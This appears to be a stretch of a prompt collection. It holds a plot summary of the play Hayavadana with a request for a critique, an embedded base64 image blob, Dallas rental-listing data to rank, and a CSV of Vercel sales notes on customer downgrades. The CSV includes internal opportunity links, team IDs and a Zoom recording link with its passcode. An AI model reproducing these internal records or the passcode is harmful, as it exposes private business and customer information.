asks him to get ready for the play. But he runs away from the stage and soon after he comes back shouting again. Now a strange creature appears on the stage. As earlier described by the Actor-1, the creature has the head of a horse and the body of a man. For a moment, Bhagwata thinks that someone is wearing the mask of horse. He tries to remove the mask but realizes that it is truly half a man and a half horse. Now the creature starts to introduce itself before Bhagwata, Actor-1 and the audience.\n\nThe creature introduces himself as Hayavadana and starts to narrate his story. He tells that once upon a time, a princess had to choose a groom for her marriage. So many Princes approached from far and wide. But the princess fell in love with a horse of an Arabian Prince. She became desperate to marry that horse. Eventually her parents allowed her to do so. She was married to the horse. After 15 years of their marriage, the horse transformed into a celestial being. Now the princess rejected him as her husband. That celestial being cursed her to be a Mare (female horse) and she became so. The princess give birth to Hayavadana. Now Hayavadana wants to get rid of this cursed life. Bhagwata asks him to go to goddess Kali temple in chitrkut. He also asks the Actor-1 to accompany him on the way. They leave.\n\nNow Bhagwata moves ahead with the story of the play. Devdutta and Kapila appear on the stage. Devdutta tells Kapila that he wants to marry a woman, namely Padmini. With utmost desire to marry Padmini, he pledges to sacrifice his arms to Goddess Kali and his head to Rudra. Kapila goes to Padmini and presents the Proposal to marry Devdutta. Devdatta and Padmini Marry. By the time, Devdutta realizes that Padmini is attracted towards Kapila and vice versa. Now Padmini is pregnant. Devdutta knowingly tries to put off the program of visiting Ujjain. He tells Kapila that Padmini is ill. But Padmini gives her consent before Kapila. They all three leave for Ujjain. Padmini repeatedly praises Kapila\'s physical strength before Devdutta. Devdutta feels jealous but he does not blame Padmini. Kapila and Padmini go to Rudra Temple but Devdutta denies to accompany them. Devdutta knows that Kapila has such a physical strength and beauty that any woman can get attracted towards him. Devdutta goes to goddess Kali temple where he reminds himself of his pledge to sacrifice his head to the Goddess Kali. He Wishes for the Wellness of Kapila and Padmini. He beheads himself with a sword and dies.\n\nMeanwhile, Kapila and Padmini come out of the temple. Kapila gets worried on finding Devdutta nowhere. He leaves Padmini and starts searching for his friend. Finally he reaches in the same Temple and feels shocked to see his friend dead. He feels himself responsible for all this. Kapila takes the same sword and beheads himself. Soon Padmini reaches there and she has no clue how they got died. She considers herself responsible for the duel between the two friends and their deaths. She provokes the Goddess Kali and also tries to kill herself. The Goddess Kali appears and stops her. The Goddess asks her to place the heads with their respective body so that the Goddess will re-join them with her magical powers and bring them back to life. The Goddess also appreciates the two friends. Padmini follows the command in a hurry. The Goddess disappears. Padmini, being thankful to goddess kali, gets a bit relaxed. But soon she realizes her mistake. She has mistakenly placed the heads with irrespective body. So now Devdutta\'s head is joined with Kapila\'s body and vice versa. Soon they regain their senses. For a moment, the two friends are confused. Both make a claim for Padmini. The man with Devdutta\'s head, makes a plea that head is the master of the body. So he has the right over Padmini. The man with Kapila\'s head makes a plea that Padmini has remained with Devdutta\'s body. So he has the right over Padmini. Meanwhile Bhagwata, the narrator, comes on the stage. All the characters become statues for a moment and the narrator addresses the audience. He asks them to think of a solution to this problem. Act 1 ends.[7]\n\nAct - II\nThe act begins as the narrator repeats the same question- " What is the solution? ". He also talks about the story of ′Vikramaditya and Betaal′ [8] where the king Vikrama replies to Betaal that the mind (head) is the master of the body. It is head that gives recognition to an individual. Bhagwata tells that they all three go to a hermit seeking solution for this problem. The words of hermit are heard on the stage that Devdutta\'s head is the Swami (husband) of Padmini. Devdutta and Padmini accept this in delight. Kapila, being disappointed, leaves for the forest. The time passes. Devdutta brings some dolls. These dolls also play the role of narrator. He starts losing his physical strength and as a result they are losing mutual interest. A child is born. Devduta goes to buy new dolls from the fair in Ujjain. Bhagwata again appears on the stage and tells that Kapila has regained his physical strength. Padmini meets him in the forest and also tell him that it is Kapila\'s son as it is born from Kapila\'s body. But Kapila does not accept it. Being a little reluctant, they get ready to fulfill their physical desires.\n\nIn search of his wife, Devdutta reaches there in the forest. Finding them together, he finds himself the similar situation as he was before. To put an Ultimate end to this problem, Devdutta takes out the sword and challenges Kapila for a duel. Both gets killed. Padmini finds herself lonely. Bhagwata comes there and she hands him over the child and the same dolls. She asks him to hand it over to Devdutta\'s Brahmin father Vidyasagar after five years. She leaves the stage by declaring that she is going to perform Sati. Bhagwata decides to end the play with his speech. A loud shout is heard on the stage. Actor-1 comes and claims that he has heard Hayavadana chanting National Anthem and patriotic songs. Then Actor-2 appears with Devdutta\'s son of age 5 now. The boy has two dolls. Hayavadana comes there. Bhagwata and Actor-2 are talking lightly and creating fun. They all starts laughing. That boy too starts laughing and the dolls slip out of his hand. Bhagwata says that the boy hasn\'t expressed any emotions of happiness, anger, sorrow in past 5 years. Today he is smiling just because of Hayavadana.\n\nNow Hayavadana tells his story. when he was trying to behead himself in the temple, the goddess Kali appeared. Hayavadana tells his desire. The goddess Kali without listening to him fully, gives him blessings. Hayavadana becomes a complete Horse instead of becoming a complete man. Yet he is satisfied. He still has ability to speak like a man. He wants to lose this voice. He is singing national Anthem as he believes that people who sing national anthem, lose their voice early. Meanwhile he sobs. The boy starts singing a tragic song which was chanted by his mother, Padmini. Hayavadana tries to laugh and his voice completely changes into a horse\'. Now Hayavadana is a complete horse.\n\nBhagwata asks the Actor to go to brahmin Vidyasagar and inform him that his grandson is coming to him, riding on a great horse. Bhagwata thanks Lord Ganesha for the successful performance of the play.\n\nAim: Write an elaborate critique of the play without revealing the plot.' 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\nOutput in markdown format' +'go through the following listing data and pick out the best listings with an explanation as to why they are likely to be successful. \n\nuse the following format in the output:\n\nListing Name:\nListing Location:\nListing Amenity List:\nListing Property Type:\nLikely Reason for Success:\nLikely Price of the Property to Purchase Versus Lease\n\nThis is the data:\n\n16365346;2 Bedroom - Open Concept, 1 mile from Uptown;78199259;Minh;;District 14;32.8125;-96.81018;Entire home/apt;172;14;24;44424;0.32;4;230;0\n17400901;SPECIAL PRICE 2/2 - Business / Corporate Traveler;112593570;Max;;District 14;32.80221;-96.79254;Entire home/apt;135;5;1;43060;0.02;74;1;0\n16405547;Beautiful Executive Home (2BR/2BA);885061;Roberto;;District 7;32.79963;-96.70282;Entire home/apt;104;3;53;44949;0.72;3;96;11\n17435391;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fThe heart of Dallas Uptown/ Downtownâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80251;-96.79163;Entire home/apt;250;2;4;44651;0.06;250;1;1\n16418235;Huge Private Room in Gated House Patio & Hot Tub >;2592644;Mike & Adriana;;District 8;32.63438;-96.82738;Private room;42;2;52;44963;0.7;4;179;1\n17438671;Modern & Cozy 1 Bedroom Poolside;118006823;Rashaad;;District 11;32.89131;-96.77163;Private room;52;1;2;42812;0.03;1;0;0\n16491279;THE CAPSULE || Uniquely Designed Creative Space;56288960;Billy;;District 14;32.81427;-96.79485;Entire home/apt;169;5;8;44955;0.47;1;238;5\n17461325;Quiet One-Bedroom Home 3006;15693949;Arturo;;District 7;32.77048;-96.76393;Entire home/apt;74;1;347;44940;5.04;2;42;44\n16507160;The Cozy Owl Cottage - So Close to So Much;57773483;Denise;;District 9;32.8467;-96.74354;Entire home/apt;105;4;121;44932;1.75;1;233;13\n17463770;Custom House Ranked Best by Architecture Digest;41923076;Anj;;District 2;32.80389;-96.78401;Entire home/apt;263;2;251;44892;3.47;9;70;22\n16517589;Cool Mid Century Modern House;57374514;Victor;;District 9;32.83421;-96.68265;Entire home/apt;167;3;13;43619;0.17;1;88;0\n17473882;Business / Corporate Travelers;112593570;Max;;District 14;32.81289;-96.79048;Entire home/apt;120;28;2;43152;0.03;74;0;0\n16648085;Modern, Dog Friendly Apartment with a Private Patio;102678713;William;;District 2;32.80612;-96.78425;Entire home/apt;134;1;230;44948;3.17;1;328;48\n17478348;North Dallas Quiet Condo;107583316;Anthony;;District 11;32.93983;-96.81188;Entire home/apt;68;30;19;44839;0.27;2;164;4\n16687474;Luxury High-Rise in the Heart of Dallas;89916473;James;;District 14;32.7881617780577;-96.7999417040135;Entire home/apt;253;1;2;44969;2;1;78;2\n17505582;4400 sqft 6BR/4BT Lake, pool, boat dock, renovated;57133221;Fang;;District 9;32.91668;-96.5025;Entire home/apt;487;3;165;44928;2.84;1;230;25\n"16708684;Near Bishop Arts \nTiny Blue House;64921836;Jerri;;District 1;32.75089;-96.84728;Entire home/apt;95;2;296;44941;4.01;1;108;53"\n16813046;The Blue Room - cozy clean and comfortable, HDTV;2592644;Mike & Adriana;;District 8;32.63423;-96.82709;Private room;45;2;47;44938;0.64;4;49;2\n17512017;AMAZING CONDO, N.DALLAS PERFECT LOC;62476323;Jennifer;;District 10;32.90805;-96.74064;Entire home/apt;74;30;100;44899;1.39;3;272;6\n16896206;â\xad\x90ï¸\x8fAmazing Price on a Brand NEW UPTOWN Apartmentâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.81511;-96.79163;Entire home/apt;125;4;3;43950;0.05;250;106;0\n17516618;Bishop Arts District - Walk to Everything!;43042344;Heath;;District 1;32.74759;-96.83037;Entire home/apt;116;3;174;44951;2.4;151;339;26\n17527189;HIGH DEMAND PRIVATE VIP HOME HEATED POOL AND SPA!;24407447;Blake;;District 10;32.90038;-96.7437;Entire home/apt;559;2;152;44952;2.19;12;329;21\n16914852;Upscale Townhouse, spacious, quiet, guest bedroom.;59908862;JoAnne;;District 12;32.99018;-96.80626;Private room;48;28;54;44787;0.74;1;239;2\n17575785;Quaint & Cozy Tudor - Quiet \\*Family\\* 3/2 + May add Aptmnt;35342054;Deborah;;District 9;32.81808;-96.73883;Entire home/apt;233;2;83;44934;1.15;5;96;7\n16959215;★★Amazing Price on a Brand NEW UPTOWN Apartment★★;108514926;Dalls;;District 14;32.81395;-96.79095;Entire home/apt;84;56;1;43985;0.03;250;252;0\n16964525;â\xad\x90ï¸\x8f Amazing Price on a Brand NEW UPTOWN Apartmentâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.81395;-96.79095;Entire home/apt;120;90;5;44809;0.07;250;241;2\n17612005;< Dallas House, Large Yard, Pergola & HotTub >;117540337;Veronica;;District 8;32.63702;-96.83529;Entire home/apt;214;2;71;44942;1;2;179;3\n17639994;Business / Corporate Travelers;112593570;Max;;District 2;32.79271;-96.80743;Entire home/apt;150;20;2;43197;0.03;74;34;0\n16973794;Private Guest Suite in Walkable Lowest Greenville;60226438;Jesse;;District 2;32.81436;-96.77674;Entire home/apt;68;2;87;44933;1.2;5;262;11\n17640155;Business / Corporate Travelers;112593570;Max;;District 2;32.7916;-96.80946;Entire home/apt;90;70;3;43674;0.05;74;0;0\n16984473;Mid-Century Mod Comfort: Business or Pleasure!;684684;Bee;;District 13;32.90517;-96.85647;Entire home/apt;275;30;5;44836;0.11;1;147;1\n17657023;â\x9d¤ï¸\x8f Luxury Apartment Uptown Dallas/West Village â\x9d¤ï¸\x8f;108514926;Dalls;;District 14;32.80728;-96.79661;Entire home/apt;177;2;6;44878;0.08;250;44;3\n17013017;Uptown West Village Beautiful Amazing Location;112593570;Max;;District 14;32.80834;-96.79646;Entire home/apt;102;56;1;42922;0.01;74;79;0\n17669809;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fA Premier Location Heart of Victory Parkâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;20;8;44654;0.11;250;55;1\n17042714;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;56;5;44469;0.07;250;6;0\n17670164;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f Walk to AA center and Katy Trail â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;20;8;43709;0.12;250;55;0\n17085212;Business / Corporate Travelers;112593570;Max;;District 14;32.80818;-96.7958;Entire home/apt;120;56;3;42982;0.04;74;47;0\n17679894;â\xad\x90ï¸\x8fAmazing Heart of VICTORY PARK Downtown â\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;15;4;43521;0.06;250;55;0\n17095923;Private Queen Floor. Long term discount available.;77565485;Noelle;;District 1;32.74573;-96.86242;Private room;60;1;305;44942;4.2;2;88;16\n17680439;â\xad\x90ï¸\x8fAmazing Heart of VICTORY PARK Downtown â\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;70;8;43561;0.11;250;55;0\n17712837;“Home Awayâ€\x9d Clean & Safe! Best Suited for Females.;120726900;Suzanne;;District 12;32.98117;-96.80162;Private room;56;2;97;44865;1.35;2;73;14\n17108068;Uptown West Village Beautiful Amazing Location;112593570;Max;;District 14;32.80859;-96.79683;Entire home/apt;113;70;7;44955;0.1;74;79;5\n17108158;Uptown West Village Beautiful Amazing Location;112593570;Max;;District 14;32.80803;-96.79659;Entire home/apt;103;20;9;44953;0.12;74;79;4\n17732458;2BR 2BA W/Water View. Great location in N Dallas;49218487;Donna;;District 11;32.94492;-96.80525;Entire home/apt;109;60;18;44415;0.26;2;75;0\n17123019;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80921;-96.7958;Entire home/apt;120;28;5;44594;0.07;250;6;0\n17733183;Luxury Downtown Loft + Stunning View I Pool,Gym,Theatr;28836312;Roy;;District 2;32.77798;-96.79694;Entire home/apt;124;1;407;44968;5.71;11;352;81\n17123356;â\x9d¤ï¸\x8f Luxury Apartment Uptown Dallas/West Village â\x9d¤ï¸\x8f;108514926;Dalls;;District 14;32.80728;-96.79661;Entire home/apt;93;28;4;44242;0.06;250;44;0\n17125487;Cozy contemporary 2-BR/2-bath condo near SMU;1373416;Rony;;District 14;32.83057;-96.78039;Entire home/apt;95;29;45;44780;0.62;1;198;2\n17735515;The Hidden Cliff, Private Suite -NO cleaning fee;6601665;Linda;;District 1;32.76582;-96.82539;Private room;111;3;48;43982;0.72;3;227;0\n17142583;Designed to Relax, Convenient Dallas Location!;57933646;Nicole And Brad;;District 11;32.89225;-96.77256;Entire home/apt;93;1;358;44959;4.9;15;273;34' +'Below is a CSV output containing information of why Enterprise Vercel Customers downgraded to the Pro tier. Vercel is a cloud infrastructure platform. Summarize and rank the reasons people are downgrading. \n\nCustomer,AE,Link to Opp,Call Recording,Notes,What do you think they would have paid?,Avg current monthly spend,Team ID\nValidere,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7UVwQAN/view,"https://vercel.zoom.us/rec/share/dN4GuLLCWG-SX79mm2z\\_9Grs6oYybja55VYufY4mhNRd-BnJOwar-A4jAMdlRPQ.dg9cc4vxFWZMlCHF?startTime=1659031213000\n\nPasscode: 035ix&zy","Director of Technology specifically only needs SSO and the ability to have activity metrics sent out of vercel. Said that they would not consider paying 25k for an enterprise plan. From our conversation it seems like he would be willing to pay 12K for a ""pro plus"" something that has no extra support but has SSO and Audit logs",12k/year,20,\nPeople Data Labs,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001FAxQOQA1/view,,Inbound from PA team. Pro customer with low usage. Reached out for SSO for their continuing SOC2 compliance. Decided to pass on enterprise as it would be a ~3x increase in cost for them and they could get by with Google sign-on for now.,$12-18k,"No team on the opp, I will dig for it ",team\\_m47cUZpMn5xNq081EFPb9SKk\nPure Cobalt,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6eNXQAZ/view,,"Inbound from PA team. Agency developing 9 sites for client in the financial services sector. First 5 sites will be mostly marketing, so they don\'t think it is worth it to pay $30k+ for the first year when the uptime and support SLAs would be valuable. They do plan to move to enterprise once their more transactional sites go into production, but that is roughly 1 year away.",$12k for first year with low usage,"No team on the opp, I will dig for it ",\nBellhop,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6sypQAB/view,,Self-prospected. Pro customer currently migrating their production website to Vercel. They are a startup so very cost conscious. They are having success doing it themselves on pro so they don\'t see the need to pay for enterprise right now.,$12-$18k,Deleted their account,team\\_aKbrXhYPFW0QBpyklP21OmTU\nHelp Scout,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7HkMQAV/view,,Inbound from PA team. It is just a marketing website to they have no need/desire to pay for SLAs and extra support right now. Will stay on Pro.,$10k,80,\nWowa,Bartolotta,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H7V0GQAV/view,,"Self prospected pro customer. 15 seats in use (7 devs) and 1.5 TB in usage in the past month and growing. Customer has had a few support requests in the past few months and has not been satisfied with the quality of support. Interested in SLAs and closer relationship but don\'t see value in enterprise right now considering with their overages they are paying $700 per month, and the enterprise package they would need (10 seats, 2 TB) is $46k list price.",$15-20k,Avg $700,\nNCAI,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H78l7QAB/view,,"Keen on partnering with us, but they cant afford the 25-36k price point. They may need it in the future, but the only thing I was able to sell them was support, and they don\'t feel like they need that now.",$10K-15k,"No team on the opp, I will dig for it ",team\\_Sf66SD3dKWQNna76o6MMQjld\nKnife Center ,Christian,https://vercel.lightning.force.com/lightning/r/Opportunity/0064V00001H6tD6QAJ/view,,They dont 